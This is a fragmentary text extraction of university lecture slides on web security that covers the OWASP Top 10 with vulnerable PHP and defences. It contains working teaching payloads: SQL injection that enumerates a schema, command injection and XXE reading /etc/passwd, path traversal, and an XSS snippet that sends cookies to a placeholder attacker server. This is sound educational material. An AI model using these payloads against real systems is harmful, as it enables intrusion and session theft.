Web Security
Ulf Kargén Institutionen för Datavetenskap (IDA) Avdelningen för Databas- och Informationsteknik (ADIT)
Original slides by Marcus Bendtsen
TDDC90 – Software Security
Web Security TDDC90 Software Security Ulf Kargn Institutionen fr - - PowerPoint PPT Presentation
Web Security TDDC90 Software Security Ulf Kargn Institutionen fr Datavetenskap (IDA) Avdelningen fr Databas- och Informationsteknik (ADIT) Original slides by Marcus Bendtsen Some recent attacks 2 A game changer The Internet
Ulf Kargén Institutionen för Datavetenskap (IDA) Avdelningen för Databas- och Informationsteknik (ADIT)
Original slides by Marcus Bendtsen
TDDC90 – Software Security
2
3
statefulness and interactivity to web pages
4
5
security problems
6
1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities
7
Caused by lacking input validation when user-supplied data is used to craft strings that are later sent to a parser of some kind. ▪ Possible to “escape” out of the intended context if syntax characters are not filtered ▪ Can affect any kind of machine-readable input:
▪ OS commands ▪ SQL queries ▪ LDAP ▪ XPath ▪ XML ▪ NoSQL ▪ …
8
What we will look at in today’s lecture
9
10
<?php print(“Please specify name of file to delete”); $file = $_GET[‘filename’]; system(“rm $file”); ?>
concatenate “;cat /etc/passwd”, it will also print the content of this file to the user.
have, and this information can be used to stage attacks.
11
<?php print(“Please specify name of file to delete”); $file = $_GET[‘filename’]; system(“rm $file”); ?>
12
13
utility.
14
15
16
DB
Request
Query
probabilistic perspective
Decisions Graphs
<?php $keyword = $_GET[‘key’] $query = “SELECT * FROM ITEM WHERE TYPE = ‘$keyword’” $result = mysql_query($query) ?>
the user input as ‘key’.
17
' UNION SELECT null, version() #
SELECT * FROM ITEM WHERE TYPE = '' UNION SELECT null, version() #';
18
Was there an item of this type?
' UNION SELECT null, user() #
SELECT * FROM ITEM WHERE TYPE = '' UNION SELECT null, user() #';
19
We are getting results, but they are not items…
20
21
<?php $keyword = $_GET[‘key’] $query = “SELECT * FROM ITEM WHERE TYPE = ‘$keyword’” $result = mysql_query($query) ?>
' UNION SELECT null, database() #
SELECT * FROM ITEM WHERE TYPE = '' UNION SELECT null, database() #';
22
That is the name of the database…
’ UNION SELECT null, table_name FROM information_schema.tables #
SELECT * FROM ITEM WHERE TYPE = '' UNION SELECT null, table_name FROM information_schema.tables #’;
23
every table in the database….
' UNION SELECT null, CONCAT(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users' #
SELECT * FROM ITEM WHERE TYPE = '' UNION SELECT null, CONCAT(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users' #’;
24
In the previous query we found a table called users, and now we are finding all the columns of this table…
25
For example, session tokens with too long lifetime
⇨ Invalidate session token after logout or timeout!
26
in systems, e.g. one-time tokens, biometric, etc.
username/password combination.
combination of username/password until it is successful.
27
28
29
30
31
32
https://www.skyhighnetworks.com/cloud-security-blog/you-wont-believe-the-20-most-popular-cloud-service-passwords/
“Skyhigh analyzed 11 million passwords for cloud services that are for sale on Darknet…” (2015)
33
34
consequences for the entire system and all users.
for the individual.
attack, e.g. to get access to higher privileges on the system or stage a DDoS attack.
35
36
37
is stolen
for hackers (c.f. A2)
“reverse” a hash to get the password used for login
38
39
Random value. Created at password registration
https://site.com
address, etc.
connections to site
40
41
Request: http://example.com/?header=red&footer=blue <?php include( $_GET[’header'] . '.php' ); ?> HTML content for the page…. <?php include( $_GET[’footer'] . '.php' ); ?>
42
http://example.com/?header=/etc/passwd&footer=blue
43
44
45
parsing
46
47
48
Consider a web service where you can query the availability of items using XML in a request. For example, given a request <?xml version="1.0" encoding="ISO-8859-1"?> <inStockQuery> <item> <itemId>351</itemId> <quantity>3</quantity> </item> </inStockQuery> The system may respond with the following: “Item 351: There are at least 3 items in stock”
“There is no such item: 351” if 351 is not a valid ID.
49
If the XML parser is configured to accept external entity specifications, an attacker could send a request: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <inStockQuery> <item> <itemId>&xxe;</itemId> <quantity>3</quantity> </item> </inStockQuery> and the system will respond with the following… “There is no such item: root:x:0:0:root:/root:/bin/bash...”
50
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://192.168.0.1/admin.php"> ]>
extremely long strings (“Billion laughs attack”)
51
may accept SVG files…
52
in the app
attacker could get access to admin page by typing in the URL manually
using GET requests: https://site.com/show.php?name="mypic.jpg"
https://site.com/show.php?name="../../etc/passwd"
53
messages (stack traces, etc.)
54
55
56
<h1>Comment section:</h1> <div id=‘comment1’> <script> alert(“Hello!”) </script> </div>
57
58
<script> document.getElementsByTag(“body”)[0].style.display = ‘none’; </script>
59
var cookies = document.cookie; var request = new XMLHttpRequest(); request.open(“GET”, “hackersServerUrl?cookie=“ + cookies, false); request.send();
60
var cookies = document.cookie; var request = new XMLHttpRequest(); request.open(“GET”, “hackersServerUrl?cookie=“ + cookies, false); request.send();
61
62
“reflected” back in the response
http://site.com/search.php?item=<script>...</script>
attack succeeds
63
as the signs they are, not as HTML/CSS/JavaScript code.
64
<div onmouseover="x='...UNTRUSTED DATA...'"</div>
requires JavaScript-escaping rather than HTML escaping
65
HTTP GET/POST requests)
do today)
66
67
68
69
class Player: ... def getName(self): return self._name ...
70
cookie = base64.b64encode(pickle.dumps(userObj))
The serialization module is called “pickle” in Python
userObj = pickle.loads(base64.b64decode(cookie)) name = userObj.getName() ...
71
class Player: ... def getName(self):
...
Runs an arbitrary OS command
72
73
primitive data types (e.g. JSON)
74
75
76
77
78
79
Your email address has been randomly chosen as the winner of $1000 dollars. We will send you the cash, no credit- card information or private details needed. All you have to do is click this link: Click here to get $1000 !
<a href=‘http://example.com/a larm- cloud/?action=turnoff’>Cli ck here to get $1000 !</a>
80
You have the cookies, and the attacker made you turn off your alarm.
Check out this cat!!
<img src=‘http://example.com/al arm-cloud/?action=turnoff’ />
attacker made you turn off your alarm.
81
image not found
Email clients block images from untrusted sources for good reason.
submit requests
sensitive data in e.g. links
(Attacker can e.g. trick victim to visit a malicious site that does the POST request.)
your page.
82
Can be tricky to implement in practice! See course literature for examples.
a random token added to it from the server, so when you load your web interface the server creates links that look like this:
http://example.com/alarm-cloud/?action=turnoff&token=RANDOM
etc.)
83
84
OWASP Top 10
different evolving components
85
system
86
87